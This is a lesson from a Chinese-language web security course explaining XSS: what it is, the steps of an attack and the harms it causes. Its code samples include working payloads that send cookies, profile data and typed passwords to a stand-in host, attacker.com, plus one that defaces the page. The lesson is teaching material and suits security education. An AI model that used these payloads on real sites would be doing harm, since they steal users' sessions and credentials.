课程进度 13% · 第2/10章第2/10章 · 标签 1/4
— 1 —
XSS攻击概述
1. XSS攻击定义
XSS(Cross-Site Scripting)是一种常见的Web安全漏洞,攻击者通过在目标网站注入恶意脚本,使得其他用户在访问该网站时执行这些脚本,从而达到窃取用户信息、会话劫持等目的。
2. 攻击原理
- 攻击者构造恶意脚本
- 将脚本注入到目标网站
- 用户访问被注入的页面
- 浏览器执行恶意脚本
- 攻击者获取用户信息
javascript
1
// 攻击流程示例
2
1. 攻击者构造恶意脚本
3
<script>
4
fetch('https://attacker.com/steal?cookie=' + document.cookie)
5
</script>
6
7
2. 注入到目标网站
8
// 例如在评论框中输入上述脚本
9
10
3. 用户访问页面时,浏览器执行脚本
11
// 脚本自动发送用户cookie到攻击者服务器
12
13
4. 攻击者获取用户信息
14
// 在攻击者服务器上接收并处理窃取的信息
— 2 —
3. 危害分析
- 窃取用户Cookie和会话信息
- 劫持用户会话
- 修改网页内容
- 获取用户敏感信息
- 执行未授权的操作
javascript
1
// 常见危害示例
2
1. 窃取Cookie
3
<script>
4
new Image().src = 'https://attacker.com/steal?cookie=' + document.cookie;
5
</script>
6
7
2. 劫持会话
8
<script>
9
fetch('/api/user/profile', {
10
credentials: 'include'
11
}).then(res => res.json())
12
.then(data => {
13
fetch('https://attacker.com/steal?profile=' + JSON.stringify(data));
14
});
15
</script>
16
17
3. 修改页面内容
18
<script>
19
document.body.innerHTML = '<h1>网站已被攻击</h1>';
20
</script>
21
22
4. 获取敏感信息
23
<script>
24
const inputs = document.querySelectorAll('input[type="password"]');
25
inputs.forEach(input => {
26
input.addEventListener('input', e => {
27
fetch('https://attacker.com/steal?password=' + e.target.value);
28
});
29
});
30
</script>